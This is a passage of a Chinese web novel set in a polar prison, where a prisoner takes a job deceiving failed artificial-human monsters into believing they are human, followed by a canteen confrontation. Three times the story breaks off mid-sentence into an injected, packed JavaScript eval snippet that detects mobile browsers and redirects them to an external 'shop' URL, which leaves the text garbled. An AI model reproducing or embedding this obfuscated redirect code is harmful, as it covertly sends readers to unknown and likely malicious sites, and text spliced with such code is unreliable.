“那是孩子的父亲给她取的?”黎晨想觉得奇怪,如果是孩子的父亲取的名字,那为什么孩子会随母姓?一百一八年前的世界也还封建着吧,没有开放到女人生的孩子都应该跟女人姓的地步。 “霍山漪没有父亲,”霍无忧收起长命锁项链,像是想起什么令人恶心的过往一样,她侧过身,背对着睡在她对面床上的黎晨想,闷声道:“时间不早了,我们该睡觉了。” 霍无忧不愿意黎晨想再继续问下去,黎晨想也确实没有再继续,她们都奔波劳累了好几天,霍无忧难得睡到软的床,过了一会儿,她站起身去卫生间洗漱,洗漱过后换上典狱长为她们准备的睡衣,霍无忧这才闭上双眼。 她这一觉睡得十分安稳,再睁开眼的时候,还是被来叫她们起床的狱警给吵醒的。 霍无忧第一反应就是去看时间。 凌晨五点,囚犯的生活比上班族规律太多。 黎晨想已经起床了,霍无忧打了个呵欠,也没赖床,十分利落地换好了衣柜里给她定制的囚服,虽然不知道为什么极地监狱的囚服和工装服没两样,但这样的衣服也有很大的好处,至少行动工作什么的都很方便。 等霍无忧和黎晨想都收拾好打开宿舍门的时候,其她住在第七层的犯人们也都再差不多的时间开了门,朝第七层的中央大厅走去。 霍无忧和黎晨想跟在人群最后,而在她们行走的过程中,竟然没有一个人讲话。 第七层的狱警,就是霍无忧和黎晨想昨晚在走廊上看到的那个强壮的女人,极地监狱的狱警几乎都是女性,不知道是不是因为首都那群男人都不愿意来这么偏远的地方。 甚至于,被关押在第七层的罪犯,也大多都是女性,这让霍无忧不得不好奇起来,这些女人都是因为什么原因入狱的。 “开始点名。”狱警还在用纸质点名册,站在后排的霍无忧看见,她手上还拿着一支只剩半截的签字笔,极地监狱的这种日常物资这么匮乏吗?还是说这支笔有什么大来头。 “7001,7002,7003……” 狱警开始挨个点名,监狱里没有真名,只有编号,霍无忧听了一会儿,所有住在极地监狱第七层的囚犯编号似乎都是七开头的数字,然后从小到大依次排序。 那么这是不是可以证明,4024其实是住在第四层的囚犯? 看来霍无忧还得抽空去一趟第四层。 “7017——”狱警终于念到了霍无忧定制的囚服胸前的编号。 霍无忧反应过来,连忙回应:“到。” “7018——” 这一声过后,站在霍无忧旁边的黎晨想也应了声“到”。 点完名,狱警合上点名册,开始训话:“今天跑操之前,我还要先为大家介绍两位新朋友,7017和7018。” 狱警话音刚落,所有犯人的视线便落到霍无忧和黎晨想身上,“我们第七层是一个和谐有爱的大家庭,希望大家友好相处,积极带新朋友融入第七层。” “别的话我就不多说了,先完成跑操的任务吧。”狱警说完,便又按照平时的管理,叫霍无忧和黎晨想跟在队伍最末尾,带着第七层的队伍,浩浩荡荡地出发,去往第十层的操场。 十三层被封锁,现在只有第十层的操场能用,第一层到第七层的罪犯大概有两百多个,在偌大的操场上整整跑了十圈,才被各自楼层的狱警带到第十层操场旁边的食堂吃饭。 食堂的食物都很正常,至少比霍无忧在首都监狱吃的正常,首都监狱的食物有时候都馊了,霍无忧时常用“我的饭死了”这样的话表示抗议。 虽然没有用。 好不容易能吃到健康的东西,霍无忧立刻在食堂窗口要了三个牛肉包子,四个龙虾包子和七个生煎,又要了杯豆浆,眼见打饭的大婶也没管她们的食量,霍无忧这才松了口气。 极地监狱这环境比首都监狱好了不止一点啊。 不论是吃穿住行哪一方面,都比首都监狱好。 黎晨想吃的东西不比霍无忧少,光是牛肉包子她都要了六个,更别说其它的食物两个人跟十几年没吃过饱饭一样,坐在座位上狼吞虎咽地吃包子,喝豆浆。 周围的人似有若无地会朝这里投去打量或怀疑的目光,霍无忧全当看不见,直到两人吃完吃饱了,第七层的狱警才来到她们身边,说是要给她们讲讲极地监狱的罪犯管理守则。 “所有在极地监狱的犯人都必须严格遵守监狱制定的作息,每天早上五点起床,五点十分跑步四公里,然后去食堂吃饭。” “六点到十二点需要在监狱提供的工作中选择一样去做,大概有手工缝制玩偶,踩缝纫机做衣服,或者哺育从首都那边送过来的畸形儿,中午十二点到下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342958|199444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午三点是午休时间,下午三点到晚上七点也是需要自己选择一样感兴趣的工作。” 狱警言简意赅:“晚上七点到十一点,监狱会例行开展品德培养的公共课,所有的犯人会集中到教室里听课,可以旷课,但一个月只能旷课三次,旷工是不能旷的,被系统检测到了就会被惩罚。” “你们两个都是新来的,除了这些基本的,我还要提醒你们一句,如果没有过强的实力,最好不要和其她人打太深的交道,我叫寸心,是你们以后在极地监狱唯一的负责人,欢迎来到极地监狱。” 寸心朝霍无忧伸出手,霍无忧很浅地握了一下。 “现在你们该去第十一层看看自己想做什么工作来赎罪赚取贡献点了。”寸心说。 霍无忧和黎晨想对视一眼,两人跟寸心道了谢便走楼梯再下了一层。 在极地监狱,只有狱警,狱医和典狱长才有资格坐电梯。 第十一层的装潢和第十层差不多,只是这里几乎全是工作室,犯人们能选择的工种也有很多,除了刚才寸心说的那些,还有很多看起来有点诡异的工作,譬如切香皂,譬如掰饼干。 诡异的点在于,这些手工流水线作物,居然是要出口的。 出口给谁?首都?还是别的地方? “我想去做布娃娃。”黎晨想的选择还算比较保守。 霍无忧在首都监狱的时候,也会被要求去做这样工作以赚取贡献点获得出去的机会,只是首都监狱能提供的工作也就几个,不如极地监狱的工作多一些。 她纠结了一会儿,最后决定去看看哺育畸形儿是个什么样的工作。 两人就此分开,霍无忧几乎是独自走到了十一层走廊的尽头,不知道为什么,哺育畸形儿的工作看起来似乎十分不受欢迎,只有这个工作室的门口一点也不热闹。 “我还以为再有一百年也不会有人进这间工作室,”一个长头发,看起来只有十五六岁的小姑娘不知道什么时候出现在了霍无忧身后,“你好,你是来工作的吗?别告诉我,你只是好奇来看看的。” “我是来工作的。”霍无忧并不能确定这个小姑娘究竟多少岁,毕竟现在科技发达,霍无忧也有一百多岁了,但看起来也才三四十岁的模样。 “那就好,”小姑娘笑了一下,推开工作室的门,“说起来我们还挺有缘的,你叫7017,对吧,我是7001,我们都是第七层的囚犯。” 霍无忧顿了一下,她原本还以为,这个小姑娘是这间工作室的负责人,结果这人和她一样,都是罪犯。 “进来吧。”7001说完,在霍无忧真的进到工作室之后又笑嘻嘻地关上门。 工作室内的环境和外面的环境几乎可以说两摸两样,这里的灯光十分昏暗,两张很大的长方桌拼接在一起,上面放着几个圆柱形的小型培养皿,大型培养皿在房间深处的阴影里。 “我们这里的工作其实很简单,”7001漫不经心地走到霍无忧身后,“首都那边不是有很多研究所在培育新的人种,促进文明进化吗?很多失败的实验体那边不愿意自己处理,就会送过来,让我们抚养。” 霍无忧了然地挑了挑眉。 “不过,这些畸形儿的性格,实在有些难以驯服,所以到现在为止,只有我一个人能适应在这里的工作,而其她想来这里工作的人——”7001故作神秘地顿了一下。 “她们都怎么了?”霍无忧问。 7001勾起唇角: “她们都死了!” 12. 妈妈 一阵长久的静默,久到7001都觉得气氛有些尴尬了,霍无忧才平静地看向她,关切地问询道:“你怎么了?要不要我把温念尘医生找来?” 7001:…… 7001:“你有在认真听我说话吗?我说那些想来这里工作的人都死了!死光光了!” “好好好,都死光光了。”霍无忧温柔地安抚7001。 7001:………… 她一把拍开霍无忧的手,死死掐住霍无忧的脖颈,“你个死女人,信不信我现在就杀了你?” 霍无忧却轻笑一声,她只是抓住7001的手腕,缓慢收紧力道,没过几秒,7001便有些受不了这样的痛楚,被迫放开手,脱力一般跌坐在地。 “这间工作室的负责人呢?”霍无忧抓住7001无力的手腕,蹲下身,“好孩子,可别告诉我,这里只有你一个人。” 7001有些惊恐地看向霍无忧,但很快,这份惊恐又转变成兴奋,“你猜?” 霍无忧捧起7001的脸仔细看了看,7001长了一张幼态脸,眼睛和霍无忧那个失踪一百多年的女儿还有几分相似,不过她没有兴趣陪7001玩猜谜游戏,而是起身去看桌上的培养皿。 “这些培养皿里的生物都是用人的器官组织培育的,我在首都的时候经常参与这样的实验,首都那群人是要研究一种可以替人进行战斗,进行危险作业的,比人的躯体更坚强的新型人种,我的老师把这样的人称为人造人,这样的实验也被叫做人造人实验。” 霍无忧说完就看见7001眉头紧皱。 “要处理人造人实验的失败品并不容易,只有掌握核心技术的高精尖人才,才会知道该怎么处理,所以这间工作室的负责人一定是曾经在首都工作过的人,不然她就只能是生命科学领域的顶尖人才,”说到这儿,霍无忧顿了一下,“不过,我的老师是一个十分多疑的人,她要用人,就一定会用自己信任的人,断然不可能是随意找的有点才能的陌生人。” 7001用更加兴奋的眼神望向霍无忧,就好像看见什么让她十分感兴趣的人一样。 但还没等7001回答,另一个熟悉的女音便从工作室黑暗的深处传来,“你推断得没有错。” 温念尘从黑暗深处的隔间里走出来,她穿着单薄的白大褂,因为比霍无忧高一些,她看向霍无忧时,总是会用傲慢的眼神俯视霍无忧。 “好久不见。”温念尘坐到办公桌旁的椅子上,翘起二郎腿。 “也不算好久,我们昨天才见过。”霍无忧露出一个微笑。 温念尘瞥了她一眼,“你真的不记得我了?” “我只是觉得你长得很眼熟。”霍无忧说。 “我也是季教授的学生,我和你曾经还是一个课题组的同学,不过那已经是九十年前的事了,你不记得也正常。”温念尘平静地说。 霍无忧的确不太记得温念尘了,但她疑惑的是,温念尘既然九十年前就已经不再和季教授有瓜葛,又怎么会再帮季教授处理这些实验产生的畸形儿? 但最重要的,还是温念尘口中的“季教授”。 黎晨想,温念尘,甚至霍无忧本人都和季教授有关,而所谓的“弥补者”极大概率也是季教授弄出来的。 “既然你选择了要在这里工作,我也要跟你讲清楚注意事项。”温念尘又看了一眼还坐在地上的7001,下一秒,7001便乖乖站起身,等待温念尘下达命令。 “我们这里的日常工作很简单,只有一个,就是欺骗。”温念尘说完,便对7001使了个眼色,让她给霍无忧做个示范。 霍无忧原本还很好奇,温念尘口中的欺骗究竟是怎么个欺骗法,下一秒,7001便走到房间深处,打开那边的灯。 一瞬间,霍无忧眼前的景象便清晰起来。 原来那边是有灯的。 霍无忧往7001走过去的方向看,只见漂在巨大的圆柱形培养皿里的,像是无数条舌头在人的皮肤上无限繁殖的生物凑近7001来的方向。 除了舌头,霍无忧能在这个奇形怪状的生物看见的,唯一比较特别的地方就是,怪物身上全是洞,漆黑的圆洞,像极地监狱十三层在空气中不断扩散的圆洞,十八层感染传染病的囚犯身上的圆洞。 下一秒,培养皿里的怪物忽然躁动起来,它用既像女人又像男人的,混乱的声线问7001:“我们上一次见面是在什么时候?我已经忘记了。” “一个月前,”7001平静地说:“你的病情又加重了,在你昏睡的时候,我必须每天都给你注射止痛剂,不然你一定会痛醒过来。” “医生,我不想治病了,我好痛苦,我每天不是在治疗,就是在做梦,我想死,想结束我的痛苦。”怪物说。 “想想你的家人,想想你的朋友,她们虽然不能来探望你,但都在外面关心你的身体,”7001抬手抚摸培养皿玻璃壁,“所以不要放弃,绝症不是不能治好的,你要相信,奇迹会降临在你身上。” “谢谢你,医生,”怪物长叹一口气,它好像没有意识到自己早已经成为了怪物,也没有意识到自己的身体发生了怎样的异变:“只是我这几天一直做梦。” “什么梦?”7001就像怪物的知心好友一样,循循善诱地引导怪物不怀疑自己待的地方究竟是不是医院。 “很奇怪的梦,我在梦里总是一个人出入很多奇怪的场所,有时候是我还没有生病的时候的公司,只是我的同事都变成了浑身长着舌头的怪物,有时候我是在小区的楼道里,只要我一上楼梯,数不清的舌头就会从地下钻出来,疯狂地追赶我,就算我回到家也不放过我。” “我很害怕医生,但我总是能遇到一个想要帮助我的女人,我从来没有见过她,但她总能在我最害怕的时候,第一时间出现在我身边,像妈妈那样安慰我,她告诉我,她是来保护我的神祇,”说到这儿,怪物顿了一下,“医生,你说这个世界上存在神吗?” “当然存在,”7001似乎并不把怪物的梦境当一回事,她只是顺着怪物的话继续往下说:“不然你又怎么能祈祷让奇迹降临在你的身上呢?” 怪物好似终于舒心了,它感谢7001能陪它说话,便说自己累了,想要继续休息,于是,7001顺理成章地关上房间深处的灯光,回到温念尘身边。 “这些人造人是失败的畸形儿,但它们身体里的意识,以及身上的器官组织,大都来自于活人,所以按照常理,它们是可以像正常人类一样思考的,但它们并不是真正意义上的人。”温念尘试图用最言简意赅的方式为霍无忧解答疑惑。 “常规情况下,这些怪物不会做出危害人类和危害社会的行为,但是,因为它们在被创造的时候,被灌输了大量的‘我就是人’的概念,所以一旦它们意识到自己不是人,就会发狂,所以,我们唯一需要完成的工作就是,用谎言欺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342959|199444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骗这些怪物,让它们一直认为自己是人。” 温念尘说完,就听见霍无忧蓦地笑了一下。 “我就问你一个问题,你觉得季教授会在人造人实验这个本就违背科学伦理的实验里犯这种低级错误吗?所有人体科学实验都必须遵循人类的唯一性,任何类人实验体都不能被称之为人,也没有人权,更不能有意识认为自己是人或高人一等,从AI出来之后,这个法则一直沿用到现在。”霍无忧对上温念尘那双琥珀色的眼睛。 7001听不懂她们在说什么,但她很喜欢霍无忧,所以霍无忧一开始说话,她的眼神就不听地往霍无忧的方向看。 “我当然知道,”温念尘说:“但知道了又能做什么呢?季教授想做什么,我们没有一个人能猜中。” “是猜不中还是不想猜?”霍无忧平静地抬了抬下巴,“我会完成我应该完成的工作,但是我希望,你可以对我诚实一些,温念尘女士。” “我都这样了,还不坦诚吗?”温念尘反问霍无忧。 霍无忧仔细思索了一下,才郑重其事地回复温念尘:“十分不坦诚。” 温念尘:…… 她以为她至少表现出了三分坦诚,结果在霍无忧看来,一分也没有。 “你很严格,霍无忧。”温念尘讽刺道。 “谢谢,”霍无忧很自然地接过温念尘的话茬,“那么,我们现在就开始工作吗?如果我编造的谎言不能让那些怪物信服会发生什么?” “那就会像之前来到这这里的那些死无全尸的囚犯,成为怪物的盘中餐,死得十分凄惨,”7001露出一个挑衅的笑容,“怎么样?要来吗?现在后悔可还来得及哦。” 7001想,如果霍无忧选择留下,或许她会想再接近霍无忧,和她成为好朋友,但如果霍无忧要选择离开,那么她就会在霍无忧离开这间房子之前杀了她。 7001太喜欢霍无忧这样的人了。 “我当然会留下来,”霍无忧也朝7001笑了一下,“所以现在,我们要开始工作了吗?” “在此之前,你还需要了解所有怪物的习性,这里有资料,”温念尘拉开办公桌的抽屉,从里面拿出一些看起来已经放了几十年的纸质资料,“我们这里可不止有一只怪物。” 7001饶有兴趣地盯着霍无忧的手看,“或许,你也可以跟着我,看看我是怎么安抚那些怪物的。” “不了,”霍无忧拒绝了7001的“好意”,在她看来,7001是个危险人物,也不知道温念尘为什么我会留她在这里工作这么久,“可以的话,我想自己独立接触那些怪物。” 她刚才看见的那个灯光下的怪物,最重要的不是它长得多么可怕,最重要的是,它描述的,它自己的梦境。 那样的梦境听起来像反诈系统要霍无忧戳破的泡泡世界,或许这里的怪物和反诈系统会有关系,也和十三层的圆洞有关系。 极地监狱没有它表面看起来那么简单,温念尘,林雯,还有7001看起来都像藏着什么秘密。 林雯暂且可以不提,那个被首都派来保护霍无忧的黎晨想身上也是疑点重重。 季教授到底想让霍无忧替她做什么?这个黑洞究竟是天灾还是人祸,霍无忧现在没有办法确定。 她只能下定决心留在这里,坐到温念尘对面,翻开资料的第一页就看见一句话: 【一定不要让怪物认为,你是它的妈妈。】 13. 我要吃饭 怪物都已经把自己看作是人类了,就算让它认为饲养它的人是它的母亲,又能怎么样? “这份笔记是季教授花了好一些时间整理好才给我的。”温念尘似乎是看出了霍无忧的疑惑。 “这些怪物被判定成失败品的条件是什么?我看这笔记上没写,似乎没提到这一点。”霍无忧问。 “季教授的意思是,我们只管处理这些畸形儿,不用管它的来历,”温念尘顿了一下:“你的问题很多啊,霍无忧。” “多吗?”霍无忧反问:“我只是觉得,这些怪物和我要完成的任务有关,所以才多问了一嘴。” “不可能,”温念尘笃定地反驳霍无忧:“这些怪物不可能和十三层的黑洞有关。” 这时,霍无忧敏锐地注意到,温念尘似乎并不在意在7001面前提到十三层的黑洞,而林雯曾经表达过她还不想将黑洞的事在极地监狱公之于众的想法,因为这会引发混乱。 “你就这么笃定?”霍无忧挑眉。 温念尘没有回答,反而是7001饶有兴趣地看向霍无忧,“你不继续看这些资料?要是被怪物吃了,有你好受的。” “被怪物吃下肚子的第一时间,你不会死,而是会保留一段时间清晰的意识,但怪物的胃酸会不停地腐蚀你的身体,你的思想,然后你就会一点一点,一点一点地被吃掉!”7001歪了下头,“那样可是会很痛的!” 她说得倒是生动形象,就像她曾经被怪物吃掉一样。 但即便如此,霍无忧依旧面不改色地看着面前的手写资料,上面的自己确实都是季教授的字迹,至于是多少年前的字迹,霍无忧就不知道了。 “没意思。”7001自讨没趣地又来到温念尘身边,温念尘照例给她喂了凉快肉干,她似乎很喜欢这样的相处方式。 霍无忧看了一会儿资料,忽然抬起头问7001:“你不喜欢当人?” 7001:? “我看你好像比较享受当狗才会去做的行为,还以为你不想当人。”霍无忧说。 7001:…… 霍无忧是很有趣,但她说话实在是不好听,7001朝她做了个鬼脸。 “你才不是人,我是把温医生当自己的亲人好吗?我是她的女儿,不是狗!”7001愤怒地反驳道。 霍无忧的视线再次落在资料第一页最开头的那句话上面:【一定不要让怪物认为,你是它的妈妈。】 不过很快,霍无忧就收回视线,资料上记录了大概六七只怪物,第一只怪物就是刚刚霍无忧看过的舌头怪,全身上下长满了舌头,它是所有怪物中最好交流的,因为它长满舌头的原因就是,它喜欢说话,别人说什么,它就相信什么,毫无自己的判断。 第二只怪物是一只全身上下都长满了眼睛的怪物,在去见它的时候,见它的人也必须穿上全身都是眼睛的衣服,用来伪装自己,否则它就会把来见它的人吃掉,而最需要注意的是,怪物的静态视力很差,动态视力却很好,所以在它面前必须要时时刻刻动起来,不然就算穿了伪装的衣服也可能会被吃掉。 第三只怪物是一棵树,一棵会结出心脏果实的大树,它没有四肢和五官,只是一棵树,要骗过它只需要给它浇水,满足它想要活下去的愿望就行。 这个看起来还算正常,前面两个霍无忧几乎都想飞回首都去质问季教授,她到底受了怎么样的刺激,才会想配出这种禁忌的物种。 第四个和第五个更是猎奇,一个是一个巨大的杯子,一个是一个巨大的图书馆,只是杯子里需要不停地被人放东西进去,而图书馆则需要有人用文字的方式定期和它对话,对话中途也不能让这座图书馆认为自己不是人。 霍无忧看到这些需求,简直想笑。 最后是一面镜子。 这个看起来很简单,只需要出现在镜子面前,就能为镜子制造独属于它的骗局。 季教授到底是怎么创造出这些物种的?霍无忧现在只有这一个问题。 “每个怪物都有自己专属的隔间,所以你要工作的话,必须准备充分再进去,不然你被困在里面,是没有人能来救你的。”温念尘说完,就看见霍无忧放下了手中的笔记本。 “桌上的这六个培养皿里的东西,是从那些怪物身上取下来的,哪只怪物有需求,哪个培养皿里的东西就会不停发光,这就证明你要有工作了,如果没有亮光,那么你就可以一直在工作室里做自己的事,不能离开工作室,这是工作期间唯一的要求。” 说到这,温念尘顿了一下,“每周二上午我要去开会,大概会从早上八点开到中午十一点,如果有特殊情况我要开会,我都会提前通知你们。” 意思就是平常的时间必须待在工作室,但温念尘不在的时候就可以偷偷溜出去。霍无忧不动声色地在自己心里记下一笔。 “如果上班时间偷溜出去,被我,或者被其她狱警抓到会被关进小黑屋写检讨,如果因为疏忽职守而导致工作室出了什么差错,那么你会接受极地监狱的惩罚,至于是什么力度的惩罚,需要看典狱长那边怎么说。”温念尘像是知道霍无忧心里在想什么,又提醒了一句。 霍无忧“嗯”了一声,她不关注在这里工作一周能得到多少贡献点,也不关心她的工作到底是辛苦还是闲暇,更不关注这个工作的死亡率到底有多高,因为她刚刚因为手臂有点痒想去抠一下,结果她没有一点触碰到了自己的肉。 她什么都没有碰到。 霍无忧低下头,只见她露出来的那截手臂上的圆洞,已经逐渐扩大到几乎快要覆盖她的整个手臂,而当霍无忧想要触碰那个黑洞的时候,她什么都碰不到,但那个黑洞里的东西却可以轻而易举地触碰她的指尖。 就这样坐在办公室直到吃午饭,霍无忧才再次和黎晨想碰面。 “你的工作怎么样?”霍无忧记得黎晨想是去做布娃娃了。 “很轻松,至少比我在首都的巡逻工作轻松很多,就是我的同事似乎不太好相处。”黎晨想思索着说。 “怎么个不好相处?”霍无忧问。 “她们不喜欢我做很好看的娃娃,一定要我做得很丑,她们才会对我有一点好脸色,但丑的娃娃是没办法得到贡献点的。”黎晨想说。 “那就不管她们,”霍无忧拍了下黎晨想的背,“我的工作倒也还轻松,和我共事的人也不错,不行的话,你也可以来我这里,和我一起工作。” “如果你需要,我会陪你一起工作,但最开始的话,我们最好还是分开行动,这个极地监狱给我的观感很不好,我总觉得,这个地方很诡异。”黎晨想蹙了蹙眉。 “好。”霍无忧已经排到打饭窗口,极地监狱不限制打饭的分量,只限制打饭的次数,到吃饭的时间每个人只能打一次饭,不能添饭也不能加餐,这个规定也是很奇怪。 等霍无忧打了满满一大盆番茄肥牛饭,狮子头糖醋排骨,辣子兔,辣子鸡,鸡中翅,宫保鸡丁和炸鸡找了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342960|199444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个安静的位置坐下来的时候,一瞬间,几个穿着工服的男人便围了上来。 “有事?”霍无忧饿得要命,一边以暴风吸入的速度吃饭,一边头也不抬地问这几个“兄弟”。 “你和那个女的很熟,是吗?”其中一个男人用小拇指指了下同样把餐盘装懑了的黎晨想。 “是很熟,”霍无忧只吃了四五口,她餐盘里的东西就已经少了一大半,“怎么,你们想追求她?” “我们的审美还没那么差劲,”另一个男人冷笑一声,“只是你的这个朋友今天得罪了我们老大,你说说,同样都是做工,你朋友做得那么好要干什么?” 霍无忧这个时候终于愿意抬起头给这几个男人一些眼神了,只是她嘴里的动作依旧不停。 “我们这次来是要警告你和你的朋友一次,不要当出头鸟,特别是在第七层。”一个男人说。 霍无忧也冷笑一声:“那你们怎么不直接去威胁我朋友,而是来威胁我?是因为觉得我朋友长得太强壮,你们不敢去找她的麻烦,还是说,你们几个本来就是几个怂货?” “你***,你个***!”一个男人抓起自己的餐盘就往地上摔。 唉,怎么人总是喜欢意气用事? “好好说话,不要动不动就带娘和婊,不知道的还以为你们在夸我。”霍无忧继续往自己嘴里塞东西,她还以为这几个人有多大的能耐,搞了半天也不过就是个几个草包,连摔霍无忧的饭都不敢。 “发生什么事了?”一米九的,身材魁梧的重瞳者黎晨想也端着自己的饭过来了。 她把餐食放到霍无忧旁边,她们两个都是肉食动物,盘子里一点绿色的食物都没有,甚至黎晨想还端了两杯新鲜的蛋奶。 “他们是看不惯你的同事,来找你茬的。”霍无忧翘起二郎腿,十分自来熟地夹了一筷子黎晨想餐盘里的奥尔良鸡翅,有时候霍无忧真想跟发明鸡和兔子的人全亲一遍,特别是发明鸡的人。 大概霍无忧上辈子是只黄鼠狼,所以她这辈子才这么喜欢吃鸡。 “找我茬?”黎晨想蓦地笑了一下,像拎小鸡仔那样拎起其中一个男人,“是你要来找我茬的?” “不是。”男人像摇头玩具一样忙不迭地否认。 紧跟着,黎晨想又拎起另一个男人,“那就是你?” “不是不是不是……”这个人不敢摇头,一直重复“不是”试图证明自己的“清白”。 黎晨想只觉得好笑,她一放下手里的男人,还没去审问最后剩下的那个幸运儿,那三个男人便屁滚尿流地逃走了。 “我觉得极地监狱的食堂阿姨手艺不错。”霍无忧真诚地夸赞道。 “我也觉得。”黎晨想是个很喜欢吃饭的人,她不像霍无忧那样风卷残云,而是慢条斯理地享用自己餐盘里的食物。 “我们好像真的惹上事了。”霍无忧话锋突转。 从远处走来几个大姐大一样的人物,而刚才被黎晨想恐吓了一番的几个男人,懦弱地所在几个大姐大的后面,用手指霍无忧和黎晨想,“就是她们!” 霍无忧饭还没吃完,黎晨想也是,饭还没吃到一半,两个人都还没吃饱,下一秒,那几个大姐大便上前来,一把将两人的餐盘全部掀翻。 霍无忧怔愣在原地,在极地监狱,她和黎晨想不仅要完成首都给她们的任务,还要处理这些复杂的人际关系,以及最重要的一点——她们还得守护自己来之不易才能吃上的,热乎的饭。